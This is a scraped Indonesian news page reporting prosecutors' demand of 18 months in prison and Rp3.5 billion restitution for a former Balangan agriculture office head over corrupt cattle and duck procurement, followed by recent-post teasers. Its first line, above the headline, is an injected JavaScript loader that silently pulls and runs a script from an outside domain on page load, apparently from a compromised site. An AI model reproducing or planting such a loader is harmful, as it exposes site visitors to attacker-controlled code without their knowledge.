(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Kadistan Balangan Dituntut 18 Bulan Penjara Korupsi Sapi dan Itik


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Dinas Pertanian (Kadistan) Kabupaten Balangan Rahmadi dituntut jaksa penuntut umum bersalah melakukan korupsi pada proyek pengadaan hewan ternak sapi dan unggas Dinas Pertanian Balangan tahun 2019-2020.

Pada sidang tuntutan yang digelar Rabu (17/1/2024) siang, di Pengadilan Tipikor Banjarmasin, Rahmadi dituntut dengan pidana penjara 1 tahun 6 bulan dan denda Rp200 juta subsidair 3 bulan kurungan.

Jaksa penuntut umum dari Kejari Balangan dalam tuntutan menyebut terdakwa Rahmadi tidak terbukti bersalah melanggar pasal 2 ayat (1) Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwaan primair.

Meski lolos dari dakwaan primair, Rahmadi dinyatakan terbukti bersalah melanggar pasal 3 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwaan subsidair.

Baca juga: Beda 6 Bulan, Tuntutan Dua Terdakwa Kasus Korupsi iPad DPRD Banjarbaru

Mantan Kadistan Balangan ini juga dituntut pidana tambahan berupa membayar uang pengganti kerugian negara sebesar Rp3,5 miliar.

Namun, karena ada penitipan uang pengganti kerugian negara sebesar Rp3,5 miliar ke Kejari Balangan, maka dana titipan jaksa uang tersebut diperhitungkan sebagai uang pengganti.

“Apabila uang yang dititipkan ke rekening penampungan Kejari Balangan tersebut tidak mencukupi paling lama 1 bulan sesudah putusan pengadilan berkekuatan hukum tetap, maka hartanya disita oleh jaksa dan dilelang untuk menutupi uang pengganti, dalam hal terdakwa tidak memiliki harta benda yang mencukupi untuk membayar uang pengganti, maka diganti dengan pidana penjara selama 1 tahun,” kata JPU Fendi.

Sementara usai persidangan, penasehat hukum terdakwa Rahmadi mengaku akan menyiapkan nota pembelaan untuk dibacakan pada sidang berikutnya.

Baca juga: Pemkab Banjar Raih Nilai 90,96 pada Katagori A Zona Hijau Predikat Kualitas Tertinggi Pelayanan Publik

Majelis hakim yang diketuai Jamser Simanjuntak menetapkan sidang berikutnya akan digelar pada Rabu (25/1/2024) dengan agenda pembacaan nota pembelaan penasehat hukum terdakwa.

Untuk diketahui, mantan Kadistan Balangan Rahmadi sebelumnya dituduh melakukan korupsi pada proyek pengadaan sapi dan itik (bebek) program Dinas Pertanian Balangan tahun anggaran 2019 dan 2020.

Pada pengadaan itu, Rahmadi bertindak selaku Pengguna Anggota (PA) sekaligus Pejabat Pembuat Komitmen (PPK)

Dalam dakwan, Rahmadi dikatakan sengaja tidak menunjuk Kuasa Pengguna Anggaran (KPA) dan sengaja memecah anggaran menjadi di bawah Rp200 juta agar bisa dilakukan penunjukan langsung tanpa lelang.

Baca juga: Mabuk Ancam Pengunjung RTH Taman Gembira, MT Diringkus Polisi

Berdasarkan audit Badan Pengawas Keuangan dan Pembangunan (BPKP) Kalsel, nilai kerugian negara pada pengadaan sapi dan itik tersebut sebesar Rp3.563.542.223.  (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.